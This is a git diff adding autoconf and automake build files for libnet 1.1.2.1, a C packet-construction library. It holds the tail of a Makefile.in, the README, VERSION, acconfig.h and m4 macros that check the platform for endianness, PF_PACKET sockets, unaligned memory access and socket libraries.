+ test -d $(distdir)/$$subdir \
+ || mkdir $(distdir)/$$subdir \
+ || exit 1; \
+ (cd $$subdir && \
+ $(MAKE) $(AM_MAKEFLAGS) \
+ top_distdir="$(top_distdir)" \
+ distdir=../$(distdir)/$$subdir \
+ distdir) \
+ || exit 1; \
+ fi; \
+ done
+ -find $(distdir) -type d ! -perm -777 -exec chmod a+rwx {} \; -o \
+ ! -type d ! -perm -444 -links 1 -exec chmod a+r {} \; -o \
+ ! -type d ! -perm -400 -exec chmod a+r {} \; -o \
+ ! -type d ! -perm -444 -exec $(SHELL) $(install_sh) -c -m a+r {} {} \; \
+ || chmod -R a+r $(distdir)
+dist-gzip: distdir
+ $(AMTAR) chof - $(distdir) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).tar.gz
+ $(am__remove_distdir)
+
+dist dist-all: distdir
+ $(AMTAR) chof - $(distdir) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).tar.gz
+ $(am__remove_distdir)
+
+# This target untars the dist file and tries a VPATH configuration. Then
+# it guarantees that the distribution is self-contained by making another
+# tarfile.
+distcheck: dist
+ $(am__remove_distdir)
+ GZIP=$(GZIP_ENV) gunzip -c $(distdir).tar.gz | $(AMTAR) xf -
+ chmod -R a-w $(distdir); chmod a+w $(distdir)
+ mkdir $(distdir)/=build
+ mkdir $(distdir)/=inst
+ chmod a-w $(distdir)
+ dc_install_base=`$(am__cd) $(distdir)/=inst && pwd` \
+ && cd $(distdir)/=build \
+ && ../configure --srcdir=.. --prefix=$$dc_install_base \
+ $(DISTCHECK_CONFIGURE_FLAGS) \
+ && $(MAKE) $(AM_MAKEFLAGS) \
+ && $(MAKE) $(AM_MAKEFLAGS) dvi \
+ && $(MAKE) $(AM_MAKEFLAGS) check \
+ && $(MAKE) $(AM_MAKEFLAGS) install \
+ && $(MAKE) $(AM_MAKEFLAGS) installcheck \
+ && $(MAKE) $(AM_MAKEFLAGS) uninstall \
+ && (test `find $$dc_install_base -type f -print | wc -l` -le 1 \
+ || { echo "ERROR: files left after uninstall:" ; \
+ find $$dc_install_base -type f -print ; \
+ exit 1; } >&2 ) \
+ && $(MAKE) $(AM_MAKEFLAGS) dist-gzip \
+ && rm -f $(distdir).tar.gz \
+ && $(MAKE) $(AM_MAKEFLAGS) distcleancheck
+ $(am__remove_distdir)
+ @echo "$(distdir).tar.gz is ready for distribution" | \
+ sed 'h;s/./=/g;p;x;p;x'
+distcleancheck: distclean
+ if test '$(srcdir)' = . ; then \
+ echo "ERROR: distcleancheck can only run from a VPATH build" ; \
+ exit 1 ; \
+ fi
+ test `$(distcleancheck_listfiles) | wc -l` -eq 0 \
+ || { echo "ERROR: files left after distclean:" ; \
+ $(distcleancheck_listfiles) ; \
+ exit 1; } >&2
+check-am: all-am
+check: check-recursive
+all-am: Makefile
+installdirs: installdirs-recursive
+installdirs-am:
+
+install: install-recursive
+install-exec: install-exec-recursive
+install-data: install-data-recursive
+uninstall: uninstall-recursive
+
+install-am: all-am
+ @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-recursive
+install-strip:
+ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+ INSTALL_STRIP_FLAG=-s \
+ `test -z '$(STRIP)' || \
+ echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+ -rm -f Makefile $(CONFIG_CLEAN_FILES)
+ -test -z "$(DISTCLEANFILES)" || rm -f $(DISTCLEANFILES)
+
+maintainer-clean-generic:
+ @echo "This command is intended for maintainers to use"
+ @echo "it deletes files that may require special tools to rebuild."
+clean: clean-recursive
+
+clean-am: clean-generic mostlyclean-am
+
+distclean: distclean-recursive
+ -rm -f $(am__CONFIG_DISTCLEAN_FILES)
+distclean-am: clean-am distclean-generic distclean-tags
+
+dvi: dvi-recursive
+
+dvi-am:
+
+info: info-recursive
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-recursive
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-recursive
+ -rm -f $(am__CONFIG_DISTCLEAN_FILES)
+ -rm -rf autom4te.cache
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-recursive
+
+mostlyclean-am: mostlyclean-generic
+
+uninstall-am: uninstall-info-am
+
+uninstall-info: uninstall-info-recursive
+
+.PHONY: $(RECURSIVE_TARGETS) GTAGS all all-am check check-am clean \
+ clean-generic clean-recursive dist dist-all dist-gzip distcheck \
+ distclean distclean-generic distclean-recursive distclean-tags \
+ distcleancheck distdir dvi dvi-am dvi-recursive info info-am \
+ info-recursive install install-am install-data install-data-am \
+ install-data-recursive install-exec install-exec-am \
+ install-exec-recursive install-info install-info-am \
+ install-info-recursive install-man install-recursive \
+ install-strip installcheck installcheck-am installdirs \
+ installdirs-am installdirs-recursive maintainer-clean \
+ maintainer-clean-generic maintainer-clean-recursive mostlyclean \
+ mostlyclean-generic mostlyclean-recursive tags tags-recursive \
+ uninstall uninstall-am uninstall-info-am \
+ uninstall-info-recursive uninstall-recursive
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:
diff --git a/libnet/README b/libnet/README
new file mode 100644
index 0000000..3043cb8
--- /dev/null
+++ b/libnet/README
@@ -0,0 +1,21 @@
+===============================================================================
+ $Id: README,v 1.4 2004/03/01 20:26:11 mike Exp $
+ LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ http://www.packetfactory.net/libnet
+===============================================================================
+
+ A C library for portable packet creation and injection.
+
+ Libnet is an API to help with the construction and handling of network
+ packets. It provides a portable framework for low-level network
+ packet writing and handling (use libnet in conjunction with libpcap and
+ you can write some really cool stuff). Libnet includes packet creation
+ at the IP layer and at the link layer as well as a host of supplementary
+ and complementary functionality. Libnet is very handy with which to
+ write network tools and network test code. See the manpage and sample
+ test code for more detailed information.
+
+ Your old code (circa libnet-1.0.x) WILL NOT WORK with libnet-1.1.x.
+ Read doc/MIGRATION for easy steps on porting your old code.
+
+EOF
diff --git a/libnet/VERSION b/libnet/VERSION
new file mode 100644
index 0000000..dee2cba
--- /dev/null
+++ b/libnet/VERSION
@@ -0,0 +1 @@
+1.1.2.1
diff --git a/libnet/acconfig.h b/libnet/acconfig.h
new file mode 100644
index 0000000..2d220ef
--- /dev/null
+++ b/libnet/acconfig.h
@@ -0,0 +1,36 @@
+/*
+dnl $Id: acconfig.h,v 1.2 2004/01/03 20:31:00 mike Exp $
+dnl
+dnl Libnet autoconfiguration acconfig.h file
+dnl Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+dnl All rights reserved.
+dnl
+dnl Process this file with autoheader to produce a config.h file.
+dnl
+*/
+
+#undef LIBNET_BSDISH_OS
+#undef LIBNET_BSD_BYTE_SWAP
+#undef DLPI_DEV_PREFIX
+#undef HAVE_DEV_DLPI
+#undef HAVE_SOLARIS
+#undef HAVE_SOLARIS_IPV6
+#undef HAVE_HPUX11
+#undef HAVE_SOCKADDR_SA_LEN
+#undef HAVE_DLPI
+#undef HAVE_PACKET_SOCKET
+#undef HAVE_STRUCT_IP_CSUM
+#undef HAVE_LIB_PCAP
+#undef LBL_ALIGN
+#undef STUPID_SOLARIS_CHECKSUM_BUG
+#undef _BSD_SOURCE
+#undef __BSD_SOURCE
+#undef __FAVOR_BSD
+#undef LIBNET_BIG_ENDIAN
+#undef LIBNET_LIL_ENDIAN
+#undef NO_SNPRINTF
+
+
+/*
+dnl EOF
+*/
diff --git a/libnet/acinclude.m4 b/libnet/acinclude.m4
new file mode 100644
index 0000000..80f2f56
--- /dev/null
+++ b/libnet/acinclude.m4
@@ -0,0 +1,463 @@
+dnl $Id: acinclude.m4,v 1.3 2004/01/15 23:53:06 mike Exp $
+dnl
+dnl Libnet specific autoconf macros
+dnl Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+dnl All rights reserved.
+dnl
+
+dnl
+dnl Check for the Linux /proc filesystem
+dnl
+dnl usage: AC_LIBNET_LINUX_PROCFS
+dnl results: HAVE_LINUX_PROCFS
+dnl
+AC_DEFUN(AC_LIBNET_LINUX_PROCFS,
+ [AC_MSG_CHECKING(for Linux proc filesystem)
+ AC_CACHE_VAL(ac_cv_libnet_linux_procfs,
+ if test "x`cat /proc/sys/kernel/ostype 2>&-`" = "xLinux" ; then
+ ac_cv_libnet_linux_procfs=yes
+ else
+ ac_cv_libnet_linux_procfs=no
+ fi)
+ AC_MSG_RESULT($ac_cv_libnet_linux_procfs)
+ if test $ac_cv_libnet_linux_procfs = yes ; then
+ AC_DEFINE(HAVE_LINUX_PROCFS, 1,
+ [Define if you have the Linux /proc filesystem.])
+ fi])
+
+dnl
+dnl Checks to see if this linux kernel has a working PF_PACKET
+dnl
+dnl usage:
+dnl
+dnl AC_LIBNET_CHECK_PF_PACKET
+dnl
+dnl results:
+dnl
+dnl HAVE_PACKET_SOCKET (DEFINED)
+dnl
+
+AC_DEFUN(AC_LIBNET_CHECK_PF_PACKET,
+[
+ AC_MSG_CHECKING(for packet socket (PF_SOCKET))
+ AC_CACHE_VAL(ac_libnet_have_packet_socket,
+
+ [case "$target_os" in
+
+ linux)
+ ac_libnet_have_packet_socket = no
+ ;;
+ *)
+
+ cat > pf_packet-test.c << EOF
+#include <stdio.h>
+#include <errno.h>
+#include <stdlib.h>
+#include <netinet/in.h>
+#include <sys/socket.h>
+#include <features.h> /* for the glibc version number */
+#if __GLIBC__ >= 2 && __GLIBC_MINOR >= 1
+#include <netpacket/packet.h>
+#include <net/ethernet.h> /* the L2 protocols */
+#else
+#include <asm/types.h>
+#include <linux/if_packet.h>
+#include <linux/if_ether.h> /* The L2 protocols */
+#endif
+
+#ifndef SOL_PACKET
+#define SOL_PACKET 263
+#endif /* SOL_PACKET */
+
+int
+main(int argc, char **argv)
+{
+ int fd;
+
+ fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
+ if (fd == -1)
+ {
+ if (errno == EPERM)
+ {
+ /* user's UID != 0 */
+ printf("probably");
+ exit (EXIT_FAILURE);
+ }
+ printf("no");
+ exit (EXIT_FAILURE);
+ }
+ printf("yes");
+ exit (EXIT_SUCCESS);
+}
+EOF
+ ${CC-cc} -o pf_packet-test $CFLAGS pf_packet-test.c >/dev/null 2>&1
+
+ # Oopz 4.3 BSD doesn't have this. Sorry.
+ if test ! -x ./pf_packet-test ; then
+ ac_libnet_have_packet_socket=choked
+ else
+ ac_libnet_have_packet_socket=`./pf_packet-test`;
+ fi
+ if test $ac_libnet_have_packet_socket = choked; then
+ AC_MSG_RESULT(test program compile choked... assuming no)
+ elif test $ac_libnet_have_packet_socket = yes; then
+ AC_MSG_RESULT(yes)
+ elif test $ac_libnet_have_packet_socket = probably; then
+ AC_MSG_RESULT(test program got EPERM... assuming yes)
+ elif test $ac_libnet_have_packet_socket = no; then
+ AC_MSG_RESULT(no)
+ fi
+
+ rm -f pf_packet-test* core core.pf_packet-test
+ ;;
+ esac])
+
+ if test $ac_libnet_have_packet_socket = yes -o $ac_libnet_have_packet_socket = probably; then
+ AC_DEFINE(HAVE_PACKET_SOCKET)
+ fi
+])
+
+dnl
+dnl Looks for a previous libnet version and attempts to determine which verion
+dnl it is. Version 0.8 was the first version that actually knew internally
+dnl what version it was.
+dnl
+dnl usage:
+dnl
+dnl AC_LIBNET_CHECK_LIBNET_VERSION
+dnl
+dnl results:
+dnl
+dnl
+dnl
+
+AC_DEFUN(AC_LIBNET_CHECK_LIBNET_VER,
+[
+ AC_CHECK_LIB(net, libnet_build_ip, AC_MSG_CHECKING(version) \
+
+changequote(<<, >>)dnl
+ if [[ ! -f $LIB_PREFIX/libnet.a ]] ; then
+changequote([, ])dnl
+ AC_MSG_RESULT($LIB_PREFIX/libnet.a doesn't exist)
+ AC_MSG_RESULT(previous libnet install lives elsewhere, you should probably find it)
+ else
+ __LIBNET_VERSION=`strings $LIB_PREFIX/libnet.a | grep "libnet version"\
+ | cut -f3 -d" "`;\
+ if test -z "$__LIBNET_VERSION"; then
+ AC_MSG_RESULT(<0.8)
+ else
+ AC_MSG_RESULT($__LIBNET_VERSION)
+ fi
+ fi\
+ )
+])
+
+
+dnl
+dnl Checks to see if this linux kernel uses ip_sum or ip_csum
+dnl (Pulled from queso)
+dnl
+dnl usage:
+dnl
+dnl AC_LIBNET_CHECK_IP_CSUM
+dnl
+dnl results:
+dnl
+dnl HAVE_STRUCT_IP_CSUM (DEFINED)
+dnl
+
+AC_DEFUN(AC_LIBNET_CHECK_IP_CSUM,
+[
+ AC_MSG_CHECKING([struct ip contains ip_csum])
+ AC_TRY_COMPILE([
+ #define __BSD_SOURCE
+ #define _BSD_SOURCE
+ #include <sys/types.h>
+ #include <netinet/in.h>
+ #include <netinet/in_systm.h>
+ #include <netinet/ip.h>],
+ [
+ struct ip ip;
+ ip.ip_csum = 0;
+ ],
+ [AC_MSG_RESULT(yes);
+ AC_DEFINE(HAVE_STRUCT_IP_CSUM)],
+ [AC_MSG_RESULT(no);
+ ])
+])
+
+dnl
+dnl Checks to see if unaligned memory accesses fail
+dnl (Pulled from libpcap)
+dnl
+dnl usage:
+dnl
+dnl AC_LBL_UNALIGNED_ACCESS
+dnl
+dnl results:
+dnl
+dnl LBL_ALIGN (DEFINED)
+dnl
+
+AC_DEFUN(AC_LBL_UNALIGNED_ACCESS,
+ [AC_MSG_CHECKING(if unaligned accesses fail)
+ AC_CACHE_VAL(ac_cv_lbl_unaligned_fail,
+ [case "$target_cpu" in
+
+ alpha|hp*|mips|sparc)
+ ac_cv_lbl_unaligned_fail=yes
+ ;;
+
+ *)
+ cat >conftest.c <<EOF
+# include <sys/types.h>
+# include <sys/wait.h>
+# include <stdio.h>
+ unsigned char a[[5]] = { 1, 2, 3, 4, 5 };
+ main()
+ {
+ unsigned int i;
+ pid_t pid;
+ int status;
+ /* avoid "core dumped" message */
+ pid = fork();
+ if (pid < 0)
+ {
+ exit(2);
+ }
+ if (pid > 0)
+ {
+ /* parent */
+ pid = waitpid(pid, &status, 0);
+ if (pid < 0)
+ {
+ exit(3);
+ }
+ exit(!WIFEXITED(status));
+ }
+ /* child */
+ i = *(unsigned int *)&a[[1]];
+ printf("%d\n", i);
+ exit(0);
+ }
+EOF
+ ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS \
+ conftest.c $LIBS > /dev/null 2>&1
+ # Oopz 4.3 BSD doesn't have this. Sorry.
+ if test ! -x conftest ; then
+ dnl failed to compile for some reason
+ ac_cv_lbl_unaligned_fail=yes
+ else
+ ./conftest > conftest.out
+ if test ! -s conftest.out ; then
+ ac_cv_lbl_unaligned_fail=yes
+ else
+ ac_cv_lbl_unaligned_fail=no
+ fi
+ fi
+ rm -f conftest* core core.conftest
+ ;;
+ esac])
+ AC_MSG_RESULT($ac_cv_lbl_unaligned_fail)
+ if test $ac_cv_lbl_unaligned_fail = yes ; then
+ AC_DEFINE(LBL_ALIGN)
+ fi
+])
+
+
+dnl
+dnl Checks endianess
+dnl
+dnl usage:
+dnl
+dnl AC_LIBNET_ENDIAN_CHECK
+dnl
+dnl results:
+dnl
+dnl LIBNET_BIG_ENDIAN = 1 or
+dnl LIBNET_LIL_ENDIAN = 1
+dnl
+
+AC_DEFUN(AC_LIBNET_ENDIAN_CHECK,
+ [AC_MSG_CHECKING(machine endianess)
+
+ cat > conftest.c << EOF
+# include <stdio.h>
+# include <stdlib.h>
+
+ int main()
+ {
+ union
+ {
+ short s;
+ char c[[sizeof(short)]];
+ } un;
+
+ un.s = 0x0102;
+ if (sizeof (short) == 2)
+ {
+ if (un.c [[0]] == 1 && un.c [[1]] == 2)
+ {
+ printf("B\n");
+ }
+ else
+ {
+ if (un.c [[0]] == 2 && un.c [[1]] == 1)
+ {
+ printf("L\n");
+ }
+ }
+ }
+ else
+ {
+ printf("?\n");
+ }
+ return (EXIT_SUCCESS);
+ }
+EOF
+ ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS conftest.c $LIBS > /dev/null 2>&1
+ # Oopz 4.3 BSD doesn't have this. Sorry.
+ if test ! -x conftest ; then
+dnl failed to compile for some reason
+ ac_cv_libnet_endianess=unknown
+ else
+ ./conftest > conftest.out
+ result=`cat conftest.out`
+ if test $result = "B"; then
+ ac_cv_libnet_endianess=big
+ elif test $result = "L"; then
+ ac_cv_libnet_endianess=lil
+ else
+ ac_cv_libnet_endianess=unknown
+ fi
+ fi
+ rm -f conftest* core core.conftest
+
+ AC_MSG_RESULT($ac_cv_libnet_endianess)
+
+ if test $ac_cv_libnet_endianess = big ; then
+ AC_DEFINE(LIBNET_BIG_ENDIAN)
+ ENDIANESS="LIBNET_BIG_ENDIAN"
+ LIBNET_CONFIG_DEFINES="$LIBNET_CONFIG_DEFINES -DLIBNET_BIG_ENDIAN"
+ elif test $ac_cv_libnet_endianess = lil ; then
+ AC_DEFINE(LIBNET_LIL_ENDIAN)
+ ENDIANESS="LIBNET_LIL_ENDIAN"
+ LIBNET_CONFIG_DEFINES="$LIBNET_CONFIG_DEFINES -DLIBNET_LIL_ENDIAN"
+ fi
+ ])
+
+dnl
+dnl Improved version of AC_CHECK_LIB
+dnl
+dnl Thanks to John Hawkinson (jhawk@mit.edu)
+dnl
+dnl usage:
+dnl
+dnl AC_LBL_CHECK_LIB(LIBRARY, FUNCTION [, ACTION-IF-FOUND [,
+dnl ACTION-IF-NOT-FOUND [, OTHER-LIBRARIES]]])
+dnl
+dnl results:
+dnl
+dnl LIBS
+dnl
+
+define(AC_LBL_CHECK_LIB,
+[AC_MSG_CHECKING([for $2 in -l$1])
+dnl Use a cache variable name containing both the library and function name,
+dnl because the test really is for library $1 defining function $2, not
+dnl just for library $1. Separate tests with the same $1 and different $2's
+dnl may have different results.
+ac_lib_var=`echo $1['_']$2['_']$5 | sed 'y%./+- %__p__%'`
+AC_CACHE_VAL(ac_cv_lbl_lib_$ac_lib_var,
+[ac_save_LIBS="$LIBS"
+LIBS="-l$1 $5 $LIBS"
+AC_TRY_LINK(dnl
+ifelse([$2], [main], , dnl Avoid conflicting decl of main.
+[/* Override any gcc2 internal prototype to avoid an error. */
+]ifelse(AC_LANG, CPLUSPLUS, [#ifdef __cplusplus
+extern "C"
+#endif
+])dnl
+[/* We use char because int might match the return type of a gcc2
+ builtin and then its argument prototype would still apply. */
+char $2();
+]),
+ [$2()],
+ eval "ac_cv_lbl_lib_$ac_lib_var=yes",
+ eval "ac_cv_lbl_lib_$ac_lib_var=no")
+LIBS="$ac_save_LIBS"
+])dnl
+if eval "test \"`echo '$ac_cv_lbl_lib_'$ac_lib_var`\" = yes"; then
+ AC_MSG_RESULT(yes)
+ ifelse([$3], ,
+[changequote(, )dnl
+ ac_tr_lib=HAVE_LIB`echo $1 | sed -e 's/[^a-zA-Z0-9_]/_/g' \
+ -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'`
+changequote([, ])dnl
+ AC_DEFINE_UNQUOTED($ac_tr_lib)
+ LIBS="-l$1 $LIBS"
+], [$3])
+else
+ AC_MSG_RESULT(no)
+ifelse([$4], , , [$4
+])dnl
+fi
+])
+
+dnl
+dnl AC_LBL_LIBRARY_NET
+dnl
+dnl This test is for network applications that need socket() and
+dnl gethostbyname() -ish functions. Under Solaris, those applications
+dnl need to link with "-lsocket -lnsl". Under IRIX, they need to link
+dnl with "-lnsl" but should *not* link with "-lsocket" because
+dnl libsocket.a breaks a number of things (for instance:
+dnl gethostbyname() under IRIX 5.2, and snoop sockets under most
+dnl versions of IRIX).
+dnl
+dnl Unfortunately, many application developers are not aware of this,
+dnl and mistakenly write tests that cause -lsocket to be used under
+dnl IRIX. It is also easy to write tests that cause -lnsl to be used
+dnl under operating systems where neither are necessary (or useful),
+dnl such as SunOS 4.1.4, which uses -lnsl for TLI.
+dnl
+dnl This test exists so that every application developer does not test
+dnl this in a different, and subtly broken fashion.
+
+dnl It has been argued that this test should be broken up into two
+dnl seperate tests, one for the resolver libraries, and one for the
+dnl libraries necessary for using Sockets API. Unfortunately, the two
+dnl are carefully intertwined and allowing the autoconf user to use
+dnl them independantly potentially results in unfortunate ordering
+dnl dependancies -- as such, such component macros would have to
+dnl carefully use indirection and be aware if the other components were
+dnl executed. Since other autoconf macros do not go to this trouble,
+dnl and almost no applications use sockets without the resolver, this
+dnl complexity has not been implemented.
+dnl
+dnl The check for libresolv is in case you are attempting to link
+dnl statically and happen to have a libresolv.a lying around (and no
+dnl libnsl.a).
+dnl
+AC_DEFUN(AC_LBL_LIBRARY_NET, [
+ # Most operating systems have gethostbyname() in the default searched
+ # libraries (i.e. libc):
+ AC_CHECK_FUNC(gethostbyname, ,
+ # Some OSes (eg. Solaris) place it in libnsl:
+ AC_LBL_CHECK_LIB(nsl, gethostbyname, ,
+ # Some strange OSes (SINIX) have it in libsocket:
+ AC_LBL_CHECK_LIB(socket, gethostbyname, ,
+ # Unfortunately libsocket sometimes depends on libnsl.
+ # AC_CHECK_LIB's API is essentially broken so the
+ # following ugliness is necessary:
+ AC_LBL_CHECK_LIB(socket, gethostbyname,
+ LIBS="-lsocket -lnsl $LIBS",
+ AC_CHECK_LIB(resolv, gethostbyname),
+ -lnsl))))
+ AC_CHECK_FUNC(socket, , AC_CHECK_LIB(socket, socket, ,
+ AC_LBL_CHECK_LIB(socket, socket, LIBS="-lsocket -lnsl $LIBS", ,
+ -lnsl)))
+ # DLPI needs putmsg under HPUX so test for -lstr while we're at it
+ AC_CHECK_LIB(str, putmsg)
+ ])
+
diff --git a/libnet/aclocal.m4 b/libnet/aclocal.m4
new file mode 100644
index 0000000..db62471
--- /dev/null
+++ b/libnet/aclocal.m4
@@ -0,0 +1,1337 @@
+# aclocal.m4 generated automatically by aclocal 1.6.3 -*- Autoconf -*-
+
+# Copyright 1996, 1997, 1998, 1999, 2000, 2001, 2002
+# Free Software Foundation, Inc.
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+dnl $Id: aclocal.m4,v 1.9 2004/03/01 20:26:11 mike Exp $
+dnl
+dnl Libnet specific autoconf macros
+dnl Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+dnl All rights reserved.
+dnl
+
+dnl
+dnl Check for the Linux /proc filesystem
+dnl
+dnl usage: AC_LIBNET_LINUX_PROCFS
+dnl results: HAVE_LINUX_PROCFS
+dnl
+AC_DEFUN(AC_LIBNET_LINUX_PROCFS,
+ [AC_MSG_CHECKING(for Linux proc filesystem)
+ AC_CACHE_VAL(ac_cv_libnet_linux_procfs,
+ if test "x`cat /proc/sys/kernel/ostype 2>&-`" = "xLinux" ; then
+ ac_cv_libnet_linux_procfs=yes
+ else
+ ac_cv_libnet_linux_procfs=no
+ fi)
+ AC_MSG_RESULT($ac_cv_libnet_linux_procfs)
+ if test $ac_cv_libnet_linux_procfs = yes ; then
+ AC_DEFINE(HAVE_LINUX_PROCFS, 1,
+ [Define if you have the Linux /proc filesystem.])
+ fi])
+
+dnl
+dnl Checks to see if this linux kernel has a working PF_PACKET
+dnl
+dnl usage:
+dnl
+dnl AC_LIBNET_CHECK_PF_PACKET
+dnl
+dnl results:
+dnl
+dnl HAVE_PACKET_SOCKET (DEFINED)
+dnl
+
+AC_DEFUN(AC_LIBNET_CHECK_PF_PACKET,
+[
+ AC_MSG_CHECKING(for packet socket (PF_SOCKET))
+ AC_CACHE_VAL(ac_libnet_have_packet_socket,
+
+ [case "$target_os" in
+
+ linux)
+ ac_libnet_have_packet_socket = no
+ ;;
+ *)
+
+ cat > pf_packet-test.c << EOF
+#include <stdio.h>
+#include <errno.h>
+#include <stdlib.h>
+#include <netinet/in.h>
+#include <sys/socket.h>
+#include <features.h> /* for the glibc version number */
+#if __GLIBC__ >= 2 && __GLIBC_MINOR >= 1
+#include <netpacket/packet.h>
+#include <net/ethernet.h> /* the L2 protocols */
+#else
+#include <asm/types.h>
+#include <linux/if_packet.h>
+#include <linux/if_ether.h> /* The L2 protocols */
+#endif
+
+#ifndef SOL_PACKET
+#define SOL_PACKET 263
+#endif /* SOL_PACKET */
+
+int
+main(int argc, char **argv)
+{
+ int fd;
+
+ fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
+ if (fd == -1)
+ {
+ if (errno == EPERM)
+ {
+ /* user's UID != 0 */
+ printf("probably");
+ exit (EXIT_FAILURE);
+ }
+ printf("no");
+ exit (EXIT_FAILURE);
+ }
+ printf("yes");
+ exit (EXIT_SUCCESS);
+}
+EOF
+ ${CC-cc} -o pf_packet-test $CFLAGS pf_packet-test.c >/dev/null 2>&1
+
+ # Oopz 4.3 BSD doesn't have this. Sorry.
+ if test ! -x ./pf_packet-test ; then
+ ac_libnet_have_packet_socket=choked
+ else
+ ac_libnet_have_packet_socket=`./pf_packet-test`;
+ fi
+ if test $ac_libnet_have_packet_socket = choked; then
+ AC_MSG_RESULT(test program compile choked... assuming no)
+ elif test $ac_libnet_have_packet_socket = yes; then
+ AC_MSG_RESULT(yes)
+ elif test $ac_libnet_have_packet_socket = probably; then
+ AC_MSG_RESULT(test program got EPERM... assuming yes)
+ elif test $ac_libnet_have_packet_socket = no; then
+ AC_MSG_RESULT(no)
+ fi
+
+ rm -f pf_packet-test* core core.pf_packet-test
+ ;;
+ esac])
+
+ if test $ac_libnet_have_packet_socket = yes -o $ac_libnet_have_packet_socket = probably; then
+ AC_DEFINE(HAVE_PACKET_SOCKET)
+ fi
+])
+
+dnl
+dnl Looks for a previous libnet version and attempts to determine which verion
+dnl it is. Version 0.8 was the first version that actually knew internally
+dnl what version it was.
+dnl
+dnl usage:
+dnl
+dnl AC_LIBNET_CHECK_LIBNET_VERSION
+dnl
+dnl results:
+dnl
+dnl
+dnl
+
+AC_DEFUN(AC_LIBNET_CHECK_LIBNET_VER,
+[
+ AC_CHECK_LIB(net, libnet_build_ip, AC_MSG_CHECKING(version) \
+
+changequote(<<, >>)dnl
+ if [[ ! -f $LIB_PREFIX/libnet.a ]] ; then
+changequote([, ])dnl
+ AC_MSG_RESULT($LIB_PREFIX/libnet.a doesn't exist)
+ AC_MSG_RESULT(previous libnet install lives elsewhere, you should probably find it)
+ else
+ __LIBNET_VERSION=`strings $LIB_PREFIX/libnet.a | grep "libnet version"\
+ | cut -f3 -d" "`;\
+ if test -z "$__LIBNET_VERSION"; then
+ AC_MSG_RESULT(<0.8)
+ else
+ AC_MSG_RESULT($__LIBNET_VERSION)
+ fi
+ fi\
+ )
+])
+
+
+dnl
+dnl Checks to see if this linux kernel uses ip_sum or ip_csum
+dnl (Pulled from queso)
+dnl
+dnl usage:
+dnl
+dnl AC_LIBNET_CHECK_IP_CSUM
+dnl
+dnl results:
+dnl
+dnl HAVE_STRUCT_IP_CSUM (DEFINED)
+dnl
+
+AC_DEFUN(AC_LIBNET_CHECK_IP_CSUM,
+[
+ AC_MSG_CHECKING([struct ip contains ip_csum])
+ AC_TRY_COMPILE([
+ #define __BSD_SOURCE
+ #define _BSD_SOURCE
+ #include <sys/types.h>
+ #include <netinet/in.h>
+ #include <netinet/in_systm.h>
+ #include <netinet/ip.h>],
+ [
+ struct ip ip;
+ ip.ip_csum = 0;
+ ],
+ [AC_MSG_RESULT(yes);
+ AC_DEFINE(HAVE_STRUCT_IP_CSUM)],
+ [AC_MSG_RESULT(no);
+ ])
+])
+
+dnl
+dnl Checks to see if unaligned memory accesses fail
+dnl (Pulled from libpcap)
+dnl
+dnl usage:
+dnl
+dnl AC_LBL_UNALIGNED_ACCESS
+dnl
+dnl results:
+dnl
+dnl LBL_ALIGN (DEFINED)
+dnl
+
+AC_DEFUN(AC_LBL_UNALIGNED_ACCESS,
+ [AC_MSG_CHECKING(if unaligned accesses fail)
+ AC_CACHE_VAL(ac_cv_lbl_unaligned_fail,
+ [case "$target_cpu" in
+
+ alpha|hp*|mips|sparc)
+ ac_cv_lbl_unaligned_fail=yes
+ ;;
+
+ *)
+ cat >conftest.c <<EOF
+# include <sys/types.h>
+# include <sys/wait.h>
+# include <stdio.h>
+ unsigned char a[[5]] = { 1, 2, 3, 4, 5 };
+ main()
+ {
+ unsigned int i;
+ pid_t pid;
+ int status;
+ /* avoid "core dumped" message */
+ pid = fork();
+ if (pid < 0)
+ {
+ exit(2);
+ }
+ if (pid > 0)
+ {
+ /* parent */
+ pid = waitpid(pid, &status, 0);
+ if (pid < 0)
+ {
+ exit(3);
+ }
+ exit(!WIFEXITED(status));
+ }
+ /* child */
+ i = *(unsigned int *)&a[[1]];
+ printf("%d\n", i);
+ exit(0);
+ }
+EOF
+ ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS \
+ conftest.c $LIBS > /dev/null 2>&1
+ # Oopz 4.3 BSD doesn't have this. Sorry.
+ if test ! -x conftest ; then
+ dnl failed to compile for some reason
+ ac_cv_lbl_unaligned_fail=yes
+ else
+ ./conftest > conftest.out
+ if test ! -s conftest.out ; then
+ ac_cv_lbl_unaligned_fail=yes
+ else
+ ac_cv_lbl_unaligned_fail=no
+ fi
+ fi
+ rm -f conftest* core core.conftest
+ ;;
+ esac])
+ AC_MSG_RESULT($ac_cv_lbl_unaligned_fail)
+ if test $ac_cv_lbl_unaligned_fail = yes ; then
+ AC_DEFINE(LBL_ALIGN)
+ fi
+])
+
